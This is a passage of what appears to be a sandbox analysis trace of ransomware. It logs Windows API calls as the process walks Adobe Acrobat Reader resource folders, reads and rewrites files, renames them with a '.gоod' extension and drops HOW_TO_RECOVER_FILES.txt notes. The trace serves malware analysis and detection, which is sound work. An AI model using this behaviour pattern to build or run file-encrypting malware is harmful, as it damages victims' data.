lpOldMode=0x1fdea3f0) returned 1 [0180.657] GetFileType (hFile=0x6e0) returned 0x1 [0180.657] WriteFile (in: hFile=0x6e0, lpBuffer=0x3479870*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x3479870*, lpNumberOfBytesWritten=0x1fdea468*=0x120, lpOverlapped=0x0) returned 1 [0180.658] CloseHandle (hObject=0x6e0) returned 1 [0180.658] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png", lpFilePart=0x0) returned 0x86 [0180.658] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png.gоod", lpFilePart=0x0) returned 0x8b [0180.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0180.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x67e54df0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x120)) returned 1 [0180.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0180.659] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png.gоod")) returned 1 [0180.660] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdea270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8d [0180.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea790) returned 1 [0180.660] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0180.660] GetFileType (hFile=0x6e0) returned 0x1 [0180.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea700) returned 1 [0180.660] GetFileType (hFile=0x6e0) returned 0x1 [0180.661] WriteFile (in: hFile=0x6e0, lpBuffer=0x347d170*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdea858, lpOverlapped=0x0 | out: lpBuffer=0x347d170*, lpNumberOfBytesWritten=0x1fdea858*=0x5d0, lpOverlapped=0x0) returned 1 [0180.662] CloseHandle (hObject=0x6e0) returned 1 [0180.662] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeaca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x88 [0180.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb1c0) returned 1 [0180.662] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0180.663] GetFileType (hFile=0x6e0) returned 0x1 [0180.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb130) returned 1 [0180.663] GetFileType (hFile=0x6e0) returned 0x1 [0180.664] WriteFile (in: hFile=0x6e0, lpBuffer=0x3480ae8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdeb288, lpOverlapped=0x0 | out: lpBuffer=0x3480ae8*, lpNumberOfBytesWritten=0x1fdeb288*=0x5d0, lpOverlapped=0x0) returned 1 [0180.665] CloseHandle (hObject=0x6e0) returned 1 [0180.665] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeb6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0180.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebbf0) returned 1 [0180.665] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0180.665] GetFileType (hFile=0x6e0) returned 0x1 [0180.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb60) returned 1 [0180.666] GetFileType (hFile=0x6e0) returned 0x1 [0180.666] WriteFile (in: hFile=0x6e0, lpBuffer=0x3484440*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdebcb8, lpOverlapped=0x0 | out: lpBuffer=0x3484440*, lpNumberOfBytesWritten=0x1fdebcb8*=0x5d0, lpOverlapped=0x0) returned 1 [0180.667] CloseHandle (hObject=0x6e0) returned 1 [0180.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0180.667] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar", lpFilePart=0x0) returned 0x69 [0180.667] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0180.955] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.955] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down-pressed.gif", cAlternateFileName="ARFA56~1.GIF")) returned 1 [0180.955] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x42, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down.gif", cAlternateFileName="ARROW-~4.GIF")) returned 1 [0180.955] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left-pressed.gif", cAlternateFileName="AR60F1~1.GIF")) returned 1 [0180.956] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left.gif", cAlternateFileName="AR9564~1.GIF")) returned 1 [0180.956] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right-pressed.gif", cAlternateFileName="ARROW-~3.GIF")) returned 1 [0180.956] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right.gif", cAlternateFileName="ARROW-~2.GIF")) returned 1 [0180.956] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up-pressed.gif", cAlternateFileName="ARROW-~1.GIF")) returned 1 [0180.956] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up.gif", cAlternateFileName="")) returned 1 [0180.956] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0180.956] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0180.957] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0180.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0180.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0180.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0180.957] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar", lpFilePart=0x0) returned 0x69 [0180.957] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0180.958] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.958] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down-pressed.gif", cAlternateFileName="ARFA56~1.GIF")) returned 1 [0180.959] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x42, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down.gif", cAlternateFileName="ARROW-~4.GIF")) returned 1 [0180.959] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left-pressed.gif", cAlternateFileName="AR60F1~1.GIF")) returned 1 [0180.959] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left.gif", cAlternateFileName="AR9564~1.GIF")) returned 1 [0180.959] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right-pressed.gif", cAlternateFileName="ARROW-~3.GIF")) returned 1 [0180.959] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right.gif", cAlternateFileName="ARROW-~2.GIF")) returned 1 [0180.959] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up-pressed.gif", cAlternateFileName="ARROW-~1.GIF")) returned 1 [0180.960] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up.gif", cAlternateFileName="")) returned 1 [0180.960] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0180.960] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.960] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0180.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0180.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0180.961] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif", lpFilePart=0x0) returned 0x80 [0180.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0180.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x35644e8 | out: lpFileInformation=0x35644e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a)) returned 1 [0180.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0180.962] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdeb3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif", lpFilePart=0x0) returned 0x80 [0180.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb8e0) returned 1 [0180.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\arrow-down-pressed.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0180.962] GetFileType (hFile=0x6e0) returned 0x1 [0180.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb850) returned 1 [0180.963] GetFileType (hFile=0x6e0) returned 0x1 [0180.963] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1fdeba88 | out: lpFileSizeHigh=0x1fdeba88*=0x0) returned 0x3a [0180.963] ReadFile (in: hFile=0x6e0, lpBuffer=0x35648e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb9b8, lpOverlapped=0x0 | out: lpBuffer=0x35648e0*, lpNumberOfBytesRead=0x1fdeb9b8*=0x3a, lpOverlapped=0x0) returned 1 [0180.964] CloseHandle (hObject=0x6e0) returned 1 [0181.652] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 